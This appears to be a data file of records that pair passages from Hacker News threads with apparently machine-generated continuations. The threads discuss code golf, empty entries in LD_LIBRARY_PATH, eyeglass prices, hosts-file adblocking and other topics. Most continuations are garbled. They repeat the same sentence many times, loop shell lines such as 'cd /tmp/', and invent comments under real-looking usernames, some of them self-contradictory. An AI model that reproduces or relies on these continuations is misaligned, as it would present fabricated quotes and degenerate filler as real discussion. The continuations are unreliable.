in their\napplications, but probably ~100.\n\n------\ngiaour\nI've always gotten between 0 and 2.\n\n \nIs multicore hype or reality? - iamelgringo\nhttp://embedded.com/columns/technicalinsights/205918952?pgno=1\n======\nspitfire\nThe more interesting point made in that article wasn't about multicore. But\nwas actually about the distance from the CPU that memory is from the modern\nCPU. Remember when programmers were hand counting instruction timings and code\nsize on their 386? Well that's become even more important today.\n\nIf you can get your code size into L2 (or even better L1), you can win a\nfactor of 1000x speedup. One reason why I still use a compiled language.\n\n~~~\nHexstream\n\"One reason why I still use a compiled language.\"\n\nNitpick: There's no such thing as a \"compiled\" or \"interpreted\" _language_. A\nspecific language _implementation_ (a runtime) might be more interpreted than\ncompiled or vice-versa, but even if some language traditionally only provides\ninterpreting or compiling implementations, there's nothing preventing someone\nfrom writing one in the other style, though the nature of the language might\nmake some approaches less appropriate.\n\nIsn't there this IronRuby that runs Ruby,"} +{"output_text": "fuscate my\ncode to make it harder to read\".\n\n~~~\njsmthrowaway\nI think you're overstating the case. I think the code golfers are doing it\nbecause they're trying to prove a point, and they're doing it in a way that\nisn't going to be as effective as it could be.\n\nI think the bankers are doing it because they're trying to prove a point, and\nthey're doing it in a way", "input_text": "tc1/sc22/wg21/docs/papers/2014/n399...](http://www.open-\nstd.org/jtc1/sc22/wg21/docs/papers/2014/n3994.htm)\n\n------\nrory096\n>[http://go/codegolf](http://go/codegolf)\n\nHow does this work, some sort of TLD magic? (That shouldn't be possible,\nright?) Is it just routed within Google's internal network?\n\n~~~\njsmthrowaway\nSearch paths. The full address is go.corp.google.com (which is simply a URL\nshortener), IIRC; however, I think the resolvers are also configured to\nrespond to a bare name in a lot of cases as an optimization. They talk a\nlittle bit about corp in their BeyondCorp paper[0], which is well worth a\nread, and I'm speaking to ancient memory so I might be wrong these days.\n\n[0]:\n[http://static.googleusercontent.com/media/research.google.co...](http://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43231.pdf)\n\n~~~\nrory096\nThanks for the link! Figured it was a bit more complex than just a host file,\nbeing Google and all.\n\n------\nplanetjones\nI watched the wolf of wall street recently. I see some of the solutions to\nthese code golf exercises as similar to the bankers who beat their chests and\ncelebrate their masculinity in selling penny stocks to gullible\ninvestors.These code golf exercises seem like the software developer\nequivalent: \"look at how brilliant and superior I am that I can ob"} +{"output_text": "tmp$ cd /tmp\n zwp:/tmp$ cd /tmp/\n zwp:/tmp$ cd /tmp/\n zwp:/tmp$ cd /tmp/\n zwp:/tmp$ cd /tmp/\n zwp:/tmp$ cd /tmp/\n zwp:/tmp$ cd /tmp/\n zwp:/tmp$ cd /tmp/\n zwp:/tmp$ cd /tmp/\n zwp:/tmp$", "input_text": "Good fix and good for sending them a merge request.\n\nI still find it kinda baffling glibc would have this behavior for a trailing\ncolon (:). Like, I know it's probably legacy/comparability, but it feels like\na security nightmare../ should be explicit, not implicit.\n\n~~~\nemmelaich\nAlso for leading colons. (but you probably knew that)\n\n------\nAceJohnny2\nMore concerning to me is that ld.so will interpret a trailing `:` in\nLD_LIBRARY_PATH to mean to include PWD.\n\nWhere is this documented? It's not indicated in ld.so's manpage:\n\n[http://man7.org/linux/man-pages/man8/ld.so.8.html](http://man7.org/linux/man-\npages/man8/ld.so.8.html)\n\nSounds like a bug in GNU's ld.so more than anything.\n\n~~~\nzwp\n> Sounds like a bug in GNU's ld.so more than anything.\n\nIt's neither unique to glibc (AIX, Solaris) nor to LD_LIBRARY_PATH (PATH), nor\ntrailing colons (leading colons, adjacent colons).\n\nThis de facto standard becomes a little more obvious when one considers a\nlikely implementation (iterating over \"strchr(arg, ':')\" or whatever). Any of\nthese sequences then will give up an empty string:\n\n \n \n PATH=:/foo\n PATH=/foo:\n PATH=/foo::/bar\n \n\nAnd an empty string is equivalent to dot for chdir(2).\n\n \n \n zwp:/tmp$ cd ''\n zwp:/"} +{"output_text": "/item?id=11162577)\nand marked it off-topic.\n\n~~~\npjmlp\nI am not the one who is doing the trolling, it is the other way around.\n\n~~~\ndang\nI'm not sure what you mean.\n\n~~~\npjmlp\nI am not the one who is doing the trolling, it is the other way around.\n\n~~~\ndang\nI'm not sure", "input_text": " to security depends on an ecosystem that follows the same\napproach. To think that this is more than an utopic dream is to enter cuckoo-\nland in my opinion. So we digress back to the castles-built-on-top-of-sand.\n\nThere's millions of lines of code written in unsafe languages plus all\nmainstream operating systems. The Rust approach will never work in this sort\nof environment.\n\nAn approach that _might_ work however is unikernels and using a language that\npromotes design with failures in mind [and makes it extremely easy to rapidly\nrearchitect/rebuild/redeploy]. Erlang is the best example in my view, but\nthere could be more.\n\nAlas, Rust is not really suitable for this either due to its static nature.\n\n~~~\ndang\nYour comments in this thread have been inflammatory, condescending, and vague.\nThat amounts to trolling, whether you intended to or not. You've done it quite\na bit in previous threads, too, which is not good. Please don't do this on HN.\n\nHere is how to stop: (1) take out everything inflammatory (\"It boggles the\nmind how utterly misguided\", etc.) and make neutral statements instead; (2)\ntake out the personal language (\"you just don't get it\", etc.); (3) replace\nvague grand claims with specific factual statements.\n\nIf you do this, you'll not only no longer be breaking the HN guidelines,\nyou'll also be sharing what you know more effectively, which benefits all of\nus.\n\nWe detached this subthread from\n[https://news.ycombinator.com/item?id=11162577](https://news.ycombinator.com"} +{"output_text": "i\nI'm not sure I agree with the author's conclusion that the internet is\n\"toxic\". I think it's a bit more nuanced than that.\n\nThe internet is a tool, and like any tool, it can be used for good or for\nevil. The internet is a tool that has been used for good, and it has been\nused for evil.\n\nThe internet is a tool that has been used for good, and it has been used for\nevil", "input_text": " to them via the technology he suggest\nthey spurn.\n\nA very unrealistic assumption.\n\n------\npatcon\n> I live in a world without Facebook, and now without Twitter. I manage to\n> survive too without Kiki, Snapchat, Viber, Telegram, _Signal_ and the rest\n> of them. _I haven\u2019t yet learned to cope without iMessage and SMS._\n\nI respect what he's getting at, but this is all sorts of backwards for someone\nwho wrote an earlier paragraph about escaping the eye of advertisers (and\npresumably surveillance)\n\n------\ntmaly\nI like his spin on it. The internet has become a ton of noise and walled\ngardens. I initially dropped off the social media platforms, but then I re-\njoined under anonymous names.\n\nDuring my off-grid time, I found I was more productive in terms of thinking\nand getting my side projects done.\n\nI was able to read more paper books as well as just enjoy life and nature.\n\n------\nFreak_NL\n\n Logan\u2019s Run, Zardoz, Soylent Green, Fahrenheit 451\n \n\nLovely films. Something about the pacing or the cinematography of the films\nfrom that era appeals to me.\n\nAh\u2026 Zardoz\u2026 Nothing beats Sean Connery running around in weird sci-fi shorts.\nAlso, Beethoven.\n\n------\nFalcon9\n\"They couldn\u2019t force me to have an online presence after all.\"\n\nRead your terms of enlistment, soldier. They can and they do.\n\n------\nkbart\nRants away (though I agree with some points), it's a nice summary of Internet\nhistory.\n\n------\nsanol"} +{"output_text": " the code, but I would guess that the problem is that the\ncalculation of the time is done in a way that is not easily changed.\n\nIf the time is calculated by adding the time of the GPS signal to the time of\nthe network, then the time of the GPS signal is not easily changed.\n\nIf the time is calculated by adding the time of the GPS signal to the time of\nthe network, then the time of the network is not easily changed.\n", "input_text": " lots of Android phones is more\nseriously broken than this. For AlpineReplay (app that tracks skiers and\nsnowboarders) we routinely get visits that happen in the future. GPS timing is\noften off by 24 hours, 12 hours. Most common on Samsung phones but we've found\nit on HTC and LG as well.\n\n------\nsp332\nIt's not _just_ GPS. Any time source that has added the \"leap seconds\" will be\nmisinterpreted by Android, because Android doesn't compensate for leap\nseconds. So if your cellular network or other time server has leap seconds,\nyour Android phone will be wrong even it never sets the clock via GPS.\n\n------\nchulett\nThe site says \"Tyson talks about the issue at the 15m 20s mark\" but it's\nactually at 56m 20s.\n\n------\nInclinedPlane\nThis is really odd, I'd expect on a cdma network for the clock to of necessity\nbe slaved to the network clock, seeing as that is required to be in the\nnetwork. Is there another internal clock or some other mode of operation going\non?\n\n~~~\nJoshTriplett\nCDMA radios do that internally.\n\n------\nkelnos\n_It seems like an easy bug to fix..._\n\nPeople who haven't looked at the code aren't allowed to suggest that. Period.\n\n _... so I\u2019m surprised it\u2019s been ignored for so long._\n\nBecause 15 seconds doesn't really matter in any practical sense? Pretty much a\nnon-story.\n\n~~~\njamesaguilar\nDisagree. If something like this is hard to fix, there is something wrong with\nthe way the code is designed.\n\n~~~\nSomeone\nI do not know"} +{"output_text": "blight-\nthreatens-the-world-s-most-popular-drink)\n\n------\njimmaswell\nI wonder if the bananas are just being grown in places where the fungus is\nmore prevalent.\n\n------\njimmaswell\nI wonder if the bananas are just being grown in places where the fungus is\nmore prevalent.\n\n------\njimmaswell\nI wonder if the bananas are just being grown in places where", "input_text": " complete solution. Other banana cultivars don't have the same\nproperties, and breeding a replacement dessert banana that is resistant, and\nthen spreading that cultivar (and hoping that it too doesn't fall prey) is not\na trivial undertaking.\n\nIf a GMO solution can save the existing cultivars, which have established\nconsumers, it's a better approach. Since all bananas are grown using\nmonoculture grafting (because we long ago bred the seeds out), it's not as\neasy to produce new cultivars as with other fruits.\n\n------\nArmandGrillet\nRelated to the topic, I highly recommend this short documentary about the\nCavendish banana and the deadly fungus affecting it:\n[https://youtu.be/YkI3zkQ4WBo](https://youtu.be/YkI3zkQ4WBo)\n\n------\njjeaff\nIs the worry that they will just go away overnight all at once, but it just\nhasn't happened yet? Because the current price of bananas sure doesn't\nindicate a shortage.\n\n------\nthelittleone\nBananas are an important staple with many potential uses. A guy in Bali came\nup with a process that makes flour from green bananas. The resulting bread\nproducts are delicious. Far better than regular gluten free bread and better\nthan regular bread for toast (amazing crispiness). Lots of cafes are using\nthis bread to satisfy the ever growing hippie tourism trade.\n\n------\ncarapace\nCoffee is also having some problems:\n[https://www.csmonitor.com/World/Americas/2013/0605/Coffee-\nbl...](https://www.csmonitor.com/World/Americas/2013/0605/Coffee-"} +{"output_text": "\" glasses (one for the\n> office, one for the home office, one for the other home office!).\n\nI don't know if it's a US thing, but I've never seen this.\n\nI've seen it in Europe, but it's not a common practice.\n\n~~~\npedasmith\nIt's not a US thing, but it's a common practice in the US.\n\n------\njoshstrange\nI've been wearing glasses since", "input_text": "30m. Price (lens + frame) is\ncomparable to Warby Parker.\n\n~~~\nkalleboo\nI live in Japan where they originate from and they have stores all over the\ncountry. All my glasses have been from them, zero complaints, super cheap,\ngood service too (you can drop in to any of their stores whenever to get\nthings adjusted, lost nosepads replaced, etc for free which is hard to do with\nan online vendor)\n\n------\ndr_\nWhy would Versace, Chanel, Burberry etc which are considered luxury brands,\nall of the sudden sell discounted frames? They have extensive markups on all\nof their clothing, handbags etc. They are targeting a different, and I would\nimagine dwindling, market.\n\nThere are plenty of options online and offline for cheaper frames.\n\n------\npedasmith\nI dipped my toe into the \"online glasses\" market -- and let me say it's a\ngame-changer. The eyeglass store wanted about $300 per frame, meaning that I'd\ngrudgingly get one pair.\n\nThe online purchase was only $75 for high-end frames and coatings, plus $27\nfor three pairs of prescription \"computer monitor\" glasses (one for the\noffice, one for the home office, one for the other home office!). And by\nhaving more pairs, I can bring a pair on trips, just in case the main ones get\nbroken!\n\n(Personally, I've also never had any useful help in picking out frames. I'm\nnot very fashion conscious, and every time the help doesn't seem to want to\nactually help be find frames that would look good on my face)\n\n~~~\n1996\n> $27 for three pairs of prescription \"computer monitor"} +{"output_text": " the worst.\n\n------\njoshu\nI would start looking for a new job.\n\nI would also start looking for a new job.\n\nI would also start looking for a new job.\n\nI would also start looking for a new job.\n\nI would also start looking for a new job.\n\nI would also start looking for a new job.\n\nI would also start looking for a new job.\n\nI would also start looking for", "input_text": " It is important to have the walk away plan as your\nBATNA when negotiating.\n\n~~~\nconfluence\nThis is the crux of negotiating. The person with more options has more power.\nThere's really only one way to get a raise: pay me X or I walk. If yay, good,\nif nay, walk.\n\n~~~\nsemi-extrinsic\nA subtle way to reinforce your words is drawing on the famous million-dollar\nAmdahl coffee cup:\n\n[http://dealwhisperers.blogspot.com/2015/07/a-million-\ndollar-...](http://dealwhisperers.blogspot.com/2015/07/a-million-dollar-\ncoffee-cup.html)\n\nIn this case, find a friend at Google/Apple/whatever and ask them if you can\nhave some employee-only branded stuff.\n\n------\ndood\nYou don't have to make a big decision right away, but those are certainly\nsignals that the decision may be made for you in the next few months if you\nare unlucky.\n\nI'd certainly start the usual job-hunting process: updating my CV, mentioning\nto friends that I may be open to a new position, breaking out the ol'\nwhiteboard for algorithm interview practice, going to meetups etc.\n\nAlso, prepare yourself for being laid-off, financially and mentally. It sucks,\nbut it's the reality of startup life.\n\nDon't worry about questioning the founders - it's their job to be upbeat and\noptimistic to get the best result for their startup, but it's your\nresponsibility to look after your career. But that doesn't necessarily mean\ngiving up the day job - hope for the best, prepare for"} +{"output_text": " and\nthen I realized that I was using the wrong prescription.\n\nI'm now using a pair of progressive bifocals. I can see the screen perfectly\nwithout strain, and I can see the computer perfectly without strain. I can\nalso see the computer perfectly without strain when I'm reading a book.\n\nI'm not sure if I'm going to get progressive bifocals for my other pair of\nglasses, but I'm leaning that way.\n\n~~~\n", "input_text": " tortoiseshell plastic abominations. If you want nice metal\nframes, they have a small selection, and the prices aren't that great.\n\nI normally buy two pairs of glasses at once (one for distance, one computer-\nspecific). I'll probably soon start buying a third pair, progressive bifocals.\nI'm now wondering at what point it will literally be cheaper to fly overseas\nto get them made. I may in fact have already crossed that line.\n\nThe only reason I ever use Lens Crafters is when I need glasses same-day due\nto an emergency. Just last month, I broke my glasses a few days before an\nextended overseas trip. If I hadn't been going to the Cayman Islands (where\neverything is more expensive), I'd have waited until arrival to get them made.\n\nIt's unfortunate that most optometrists have a two-week turnaround on new\nglasses. For all I know, they're going through the same Luxottica monopoly\ntoo, but at least I avoid Lens Crafters. Their quality is absolute shit;\npoorly-ground lenses, shitty coatings that scratch easily and bubble up. It's\nprobably intentional, so that you're forced to return less than a year later\nfor new glasses.\n\nI've heard good things about Costco, but I don't have access to one.\n\n~~~\n1996\n> one for distance, one computer-specific\n\nHow do you find the correction for the computer specific glass?\n\nI have a pair for distance but it is a horror to use with computers.\n\n~~~\ncaymanjim\nLife-changing. I should have gotten them decades ago. I had no idea how much I\nwas straining my eyes trying to use distance glasses for the computer,"} +{"output_text": "oids are the 3rd party\ntracking.\n\n~~~\ntraviscj\nI think you're right. I was thinking of the JavaScript fingerprinting, but\nthat's not what I meant.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. I'm not sure I agree with\nthe author's premise that \"the web is broken\" and that \"we need to fix it\".\n\nI think the web is broken because", "input_text": " app that's phoning home._\n\nWhat's your threat model? Mine is third-party tracking cookies, and desktop\napps don't share my browser's cookie jar. So while technically I can be\ntracked by IP from a desktop app, Facebook can't tell if it's me or someone\nelse at the same coffee shop.\n\nIn particular, one nice thing about Chrome extensions is that they _don 't_\napply to incognito windows. I regularly use HTTPS Everywhere in block-all-\nHTTP-requests mode + an incognito window on wifi connections I don't trust,\nbecause the incognito window will permit plaintext requests, but it doesn't\nread my cookies or write to my cache, so it's sandboxed from my actual web\nbrowsing. I can safely read some random website that doesn't support HTTPS\nwith my only concern being my own eyes reading a compromised page; none of my\nlogged-in sessions are at risk.\n\n> _any software dependency library that you install without properly checking\n> if it's got some social media tracking engine built in._\n\n... is this a thing? (I totally believe that it's becoming a thing, I just\nhaven't seen it yet and am morbidly curious.)\n\n~~~\ntraviscj\nBrowser fingerprinting is an easy path toward a \u201cstronger than ip\u201d\ncorrelation. [1] is an interesting starting point.\n\n1: [https://panopticlick.eff.org](https://panopticlick.eff.org)\n\n~~~\nchopin\nThat works only with JavaScript active which uMatrix blocks for 3rd party. The\nsites one visits mainly are not known for 1st party fingerprinting (that's\nmainly done by the ad networks). The extra paran"} +{"output_text": "rob\nI think the real lesson here is that you can't just build a successful\nbusiness and then sell it. You have to build a successful business and then\nsell it.\n\n------\njoshu\nI think the lesson is that you can't just build a successful business and then\nsell it. You have to build a successful business and then sell it.\n\n------\njoshu\nI think the lesson is that you can't just build a successful business and", "input_text": "67%, _but_ that is\n67% post-money, and the total value of the stake will be the same). Then the\ncompany could allocate 50 shares to an option pool for their founders. That\ndilutes Justin.tv's stake down to 50%. Nobody has to give anything up--the\ninvestors are putting in money, and the options are a form of employee\ncompensation.\n\n~~~\ncallmeed\nI don't quite follow.\n\nThe investors _in Justin.tv_ now own a smaller share (or none) of SocialCam,\nright? How is this allowed (without approval)? And who would approve it if\ngrowth is good?\n\n~~~\ndrusenko\nThat's certainly one way to paint the picture. Most of investing, though, is\ntrying to grow the pie, not necessarily focusing on your specific piece.\n\nI've been on the founder side (trying to convince investors to spin off a new\ncompany) and the pitch goes like this: Before, you had an ownership stake in 1\ncompany with two products. After, you have an ownership stake in 2 companies.\nBoth of these companies are out to grow, raise money and exit in their own\nright, and have teams solely devoted to hitting a home run. From that\nperspective, you could argue that you now own more than you did before,\nessentially by growing the pie.\n\n------\ntmcneal\nJustin.tv's strategy of using their video-hosting infrastructure to\naggressively pursue verticals within the video watching/sharing/hosting space\nis working out really well. They seem to have a knack for identifying how\npeople use video and streaming on the web, and are creating products that\nserve the specific needs of each group.\n\n------\njohn"} +{"output_text": ", MatLab.h,\nMatLab.c, MatLab.cpp, MatLab.mex, MatLab.mexa64, MatLab.mexa64.dll, MatLab.mexa64.dll.o,\nMatLab.mexa64.dll.o.o, MatLab.mexa64.dll.o.o.o, MatLab.mexa64.dll.o.o.o.", "input_text": " maximizing benefit\nto the public good. I understand your point about follow-on research, and I'm\nnot saying that I'd expect the code and data to be made available immediately\nwith publication, but that deserves to be the case some reasonable time\nafterward (like a year). I understand that researchers' incentives are not\nnecessarily aligned toward making it public; I am saying that people who fund\nresearch (including taxpayers through the political process) should require\nand expect it. Keeping it private indefinitely is a degree of self-\ncenteredness that does not strike an appropriate balance between benefit to\nthe researcher and to the public in my opinion.\n\n~~~\naub3bhat\nI never understood the meme about \"public funding\" translating into \"public\ndomain\". Just because research is \"publicly funded\", does not means that the\n\"public\" owns it or even has a right to ownership. Public education is\npublicly funded does not means that government can ask for every drawing drawn\nby 9 year old in classroom to be in the public domain :). In fact its\nactually opposite\n([https://en.wikipedia.org/wiki/Bayh%E2%80%93Dole_Act](https://en.wikipedia.org/wiki/Bayh%E2%80%93Dole_Act)),\ngiven that Universities can and do patent inventions from publicly funded\nresearch.\n\nFurther funding arrangements themselves are very complex, a professor\ntypically procures funding from University, NSF, NIH, private companies,\ndonors etc. In such cases if NSF adopts a hard line approach that any research\ntouching its dollars ought to release code under say GPL, it would make it\nimpossible to collaborate. Finally all requirements aside, one can always\nrelease intentionally poorly written code in form of MatLab.m"} +{"output_text": " was posted on the 15th,\nand the comment period is still open.\n\n------\ndmschulman\nI'm getting the same error as the OP. I'm not sure if it's related to the\noutage or not.\n\n------\ndmschulman\nI'm getting the same error as the OP. I'm not sure if it's related to the\noutage or not.\n\n------\ndmschulman\nI'm", "input_text": " the FCCs new proposed rules?\n======\ndoctorshady\nLast I checked an FCC proceeding on Friday it worked. Not so much right now,\nthough. I just get an error saying \"Cannot open connection\" after a long\npause.\n\nMy suspicion is someone might be ddosing it out of outrage, but it could just\nas easily be their own problems. The commenting system did stop working once\nin February or so.\n\nEDIT: Their main site seems to be up, so I assume it's not anything shady.\n\n~~~\ndmschulman\nYeah, I should have been more exact in my initial wording. This is the error I\nwas receiving as well, though I check it now and instead am getting an error\nfrom my browser (\"No Data Received\") instead of getting the \"Cannot open\nconnection\" error from the service.\n\nI noticed on Techcrunch today there was a segment on John Oliver's Sunday\nnight HBO show where he discusses Net Neutrality. I didn't watch the clip but\nmaybe the outage is related to this.\n\n------\ndragonwriter\n> Has this site just flat out not worked for anyone since the public comment\n> period began May 15th?\n\nThe site is up and shows 45,647 comments on Proceeding 14-28 \"Protecting and\nPromoting the Open Internet\" in the period since comments opened on it (which\nis more than 30 times the activity of the next-heaviest over the past 30\ndays), so it clearly has worked for some people. I suspect any errors you are\nencountering (the only error I see is if you attempt to click through the link\nto the existing public comments) are because of an unanticipated activity\nlevel resulting from the fact that the comment link"} +{"output_text": " soldiers, those who are drafted and those who volunteer\nfor the military.\n\nVolunteers are not drafted, they are not forced to join the military, they\nvolunteer to join the military.\n\nDrafted soldiers are not volunteers, they are forced to join the military.\n\n~~~\nreturn0\nI don't know what you mean by \"volunteer\". I'm not sure what you mean by\n\"drafted\".\n\n~~~\ndogma", "input_text": " repay enlistment bonuses - ftrflyr\nhttp://www.latimes.com/nation/la-na-national-guard-bonus-20161020-snap-story.html\n======\nrileymat2\n\"Robert D\u2019Andrea, a retired Army major and Iraq veteran, was told to return a\n$20,000 bonus he received in 2008 because auditors could not find a copy of\nthe contract he says he signed.\"\n\nHow is this possible? If private businesses could do this, it would be mayhem.\n\n~~~\ndogma1138\nI'm surprised that this is somehow even passed the slightest political\noversight.\n\nYou need to be a special kind of bastard to ask some one who willingly signed\nup to get shot at while defending their country to pay back any amount of\nmoney they got paid for doing so.\n\nWars aren't pretty, regardless of what you think about them, and especially\nabout Iraq and Afghanistan never ever take it out on the soldiers, they are\nprobably on your side because unlike most of us they actually seen war.\n\nSoldiers don't decide when, where or against whom to go to war, they are not\nat fault I never understood how the left in the US could blame people who\neither got drafted (vietnam) or signed up to defend their country (post 9/11)\nfor the atrocities of war.\n\n~~~\nreturn0\nMy understanding is that the US has a professional army. Why are they called\n\"volunteers\"? Over here, a volunteer is someone who voluntarily joins earlier\nthan required to begin his mandatory army service. People who join a job are\nall volunteers of course, but that's not remarkable.\n\n~~~\ndogma1138\nThere are two types of"} +{"output_text": " I'm pretty sure it's not that simple.\n\nThe game is about finding the shortest path to the exit. The AI is given a\nmap, and it has to find the shortest path to the exit.\n\nThe AI is given a map, and it has to find the shortest path to the exit.\n\nThe AI is given a map, and it has to find the shortest path to the exit.\n\nThe AI is given a map, and it has to find", "input_text": "\n\n------\ntom_wilde\nLink to Uber Engineering page on this: [https://eng.uber.com/go-\nexplore/](https://eng.uber.com/go-explore/)\n\nFrom the linked page:\n\nTo enable the community to benefit from Go-Explore and help investigate its\npotential, source code and a full paper describing Go-Explore will be\navailable here shortly.\n\n~~~\nvanderZwan\nThanks, was looking for that link.\n\nTangent: I notice I find it really annoying whenever an internet article talks\nabout a blog post or other article, yet doesn't link to the source on the\nspot. Take this sentence from technologyreview's article:\n\n> _The approach leads to some interesting practical applications, Clune and\n> his team write in a blog post released today_\n\nThere is no excuse to have a sentence like this and not have \"a blog post\" be\na hyperlink. It feels rude somehow, like it's breaking internet etiquette.\n\n~~~\nghthor\nI agree, its rude and breaking an internet etiquette. It also makes it much\nmore difficult for the search robots to make a mapping between pages.\n\n------\ndegenerate\nIn the article, Uber says \" _Surprisingly, despite considerable research\neffort, so far no algorithm has obtained a score greater than 0 on Pitfall._ \"\n\nI played pitfall as a kid and it seems quite straightforward for a computer to\nsolve... jump over the puddle. I'd like if someone could talk more about this\ngame in particular, specifically why it's so hard for AI to solve. Any\ninteresting paper/link on the subject?\n\n~~~\nVoloskaya\nI don't know Pitfall, but"} +{"output_text": "\njoshu\nI'm not sure what the point of this is.\n\n~~~\njoshu\nI guess it's to show that you can do a lot with a lot of data.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\njoshu\nI guess it's to show that you can do a lot with a lot of data.\n\n------\njoshu\nI'm not sure what", "input_text": "!\n\n------\ntommoor\nI don't know why this link doesn't go directly to the source:\n[http://www.clarifai.com/index.html](http://www.clarifai.com/index.html)\n\n------\ncolumbo\nWow! This is really neat, I tried to find images that I didn't think it could\nprocess, the results are interesting.\n\n[http://upload.wikimedia.org/wikipedia/commons/1/1e/Blown_up_...](http://upload.wikimedia.org/wikipedia/commons/1/1e/Blown_up_electrolytic_capacitor.jpg)\n\n[\"piranha\", \"fish\", \"food\", \"water\", \"gold\", \"dish\", \"crab\", \"kitchen\",\n\"glass\", \"silver\"]\n\n[https://www.flippers.com/images/See-SHFA1_Caps&Mods-\nPCB.JPG](https://www.flippers.com/images/See-SHFA1_Caps&Mods-PCB.JPG)\n\n[\"panel\", \"retro\", \"wine\", \"background\", \"design\", \"old\", \"tool\", \"letter\",\n\"art\", \"robot\"]\n\n[http://history.nasa.gov/alsj/a11/a11_lpi_trvrsmap.gif](http://history.nasa.gov/alsj/a11/a11_lpi_trvrsmap.gif)\n\n[\"background\", \"metal\", \"water\", \"man\", \"wall\", \"old\", \"abstract\", \"paper\",\n\"hand\", \"paint\"]\n\n------"} +{"output_text": " be a good idea for places with no running water.\n\n~~~\nfab13n\nI don't know about the bidet water, but I'm pretty sure that in many places\npeople don't wash with water, but with soap.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I mean, I get that it's a\nscraper, but I don't see how it's any better than a toilet paper roll.", "input_text": "://www.who.int/water_sanitation_health/hygiene/emergencies/fs3_4.pdf)\n\nPlus they have a limited lifetime; they fill up, and you need to dig a new\none.\n\n------\nfab13n\nIt would also make sense in developed countries: shitting in water makes it\nmuch more complicated to treat afterwards, and greatly increases the\necological footprint of that processing. Moreover, it makes failures to\nproperly treat much more dangerous (human feces are where you most easily find\npathogens specialised in human invasion, besides human cadavers).\n\nFeces compost just fine in a dry environment, if you mix it with enough carbon\n(dried plants or sawdust). No treatment, except letting it decompose over a\ncouple of years, and very little smell if the nitrate/carbon/humidity balance\nis respected.\n\nOf course, water companies wouldn't be thrilled by such a simplification, and\npeople like the illusion that their poo-poo just magically disappears when\nthey press a button.\n\n------\nnikolay\nEven simpler mechanisms clog and I don't think this scraper can do such a good\njob, but this still could be better than a septic tank or others alternatives.\n\n------\nww520\nThis device has quite a bit of moving parts, needs periodic part replacement,\nand requires electricity to operate.\n\n------\nrayiner\nWhat does it do with the toilet paper...\n\n~~~\nfab13n\nthat's just more fiber. Besides, in many of the countries targeted by this,\npeople wash with water, rather than sweeping with paper.\n\n~~~\nbrianwawok\nIt is designed for no running water, so I would assume no bidet water also.\nCould"} +{"output_text": " will\nstill be able to track you.\n\n~~~\njoshstrange\nI don't think this is true. I have a phone and a laptop and I have never\nnoticed a difference in the amount of data I am sending to Facebook. I have\nnever had a problem with Facebook on my phone and I have never had a problem\nwith Facebook on my laptop.\n\n~~~\nrvshchwl\nI have a phone and a laptop and I have noticed a difference", "input_text": " put this in global context:\n\n \n \n Adblocking is a non-trivial task, but there are trivial solutions.\n \n 1.) Install hosts-gen from http://git.r-36.net/hosts-gen/\n \n % git clone http://git.r-36.net/hosts-gen\n % cd hosts-gen\n % sudo make install\n \n # Make sure all your custom configuration from your current /etc/hosts is\n # preserved in a file in /etc/hosts.d. The files have to begin with a\n # number, a minus and then the name.\n \n % sudo hosts-gen\n \n 2.) Install the zerohosts script.\n \n # In the above directory.\n % sudo cp examples/gethostszero /bin\n % sudo chmod 775 /bin/gethostszero\n % sudo /bin/gethostszero\n % sudo hosts-gen \n \n\nAdd a cron job, and enjoy your faster and adfree-er internet. Further, you can\nadd your custom (this FB) block to the local files in /etc/hosts.d, which then\nwill be concatenated automatically.\n\n[source]: [https://surf.suckless.org/files/adblock-\nhosts/](https://surf.suckless.org/files/adblock-hosts/)\n\n------\nrvshchwl\nThis is a good thing to enable, but I think that smartphones contribute\nexponentially more data to Facebook services than laptops and browsers do.\nSmartphones give easy access to location, background running services,\nmicrophone. Even if you block these permissions to the app, Facebook"} +{"output_text": "haring) -> a take home challenge -> a final interview\n\nIf you're interested, please send an email to jobs@huygens.ing.nl\n\n[1] [https://www.ing.nl/en/research/research-\ndata/data-deposit](https://www.ing.nl/en/research/research-data/data-deposit)\n\n------\njames-fend\nFend | Software Engineer | San Francisco", "input_text": " we are a distributed\ncompany. So if you want to try out a move to Nairobi for awhile, here's your\nchance :)\n\nOther positions on our careers page\n[http://careers.andela.com/](http://careers.andela.com/)\n\nReach out to me at scott.carleton@andela.com\n\n------\njauco\nHuygens ING | Amsterdam, The Netherlands | Software Engineer | Full-time,\nonsite | $35K \u2013 $60\n\nBuild open source software that slowly but surely gathers all historical data\nin Europe\n\nWe're a team of engineers at the Royal Academy of Sciences in the Netherlands.\nWe build a Backend as a Service that allows users to deposit their data[1].\nWe're looking for front-end / back-end engineers (we prefer people who like a\nlittle bit of both) to add features for exposing the data (search,\nvisualisation) and for working with the data (distributes storage,\nreasoning/inferring knowledge).\n\nWe provide an environment where people enjoy freedom of work, where our\nclients understand the uncertainty of experimentation (they're researchers\nafter all) and where all code is published under an open-source license.\n\nWe're using java (yes, voluntarily), react/redux (I know, sooo 2016) and we're\nhosting on kubernetes (sorry, no disparaging remark here). We don't really\ncare if you've used these exact technologies before, but we do care if you\nhave built up greenfield applications as well as to have worked on\napplications that have been in development for a few years.\n\nInterview process: phone interview -> at a later date a technical challenge\n(in person or screens"} +{"output_text": "stimulus, less government spending, less government intervention).\n\n------\njoshuaheard\nI think the author is missing the point. The point is that the government\nshould not be in the business of providing services. The government should\nprovide a framework for the market to provide services.\n\nThe government should not be in the business of providing services. The\ngovernment should provide a framework for the market to provide services.\n\nThe government should not be in the business of providing", "input_text": "informatics; Reinhart-Rogoff's\nfindings were reversed when an additional 5 rows were included in a\nspreadsheet they used to calculate their correlation between GDP growth and\ndebt ratios. And of course, they insist that despite the actual outcome being\n_twice as strong and in the opposite direction_, they still support their\noriginal position.\n\nI wonder if one can get a CS PhD by producing enough retractions. Of course,\nit won't win you many friends in the academy, and would probably lead to less\nsource code made available. But given the Perl code I've seen published who's\ntermination condition is a divide-by-zero exception, one can argue that peer\nreview in the information age has to include code review.\n\n~~~\nsmartbit\nDidn't know about the Reinhart-Rogoff controversy [0], interesting! They state\nthat they have been _careful not to claim that high debt causes slow growth,\nbut rather that it has an \u201cassociation\u201d with slow growth_.\n\n[0] [http://www.huffingtonpost.com/2013/04/16/reinhart-rogoff-\naus...](http://www.huffingtonpost.com/2013/04/16/reinhart-rogoff-austerity-\nresearch-errors_n_3094015.html)\n\n~~~\nlinhchi\nI read abt this quite a bit, the refutation is attacking a small portion of\nthe data, because that small portion is trendy and hot 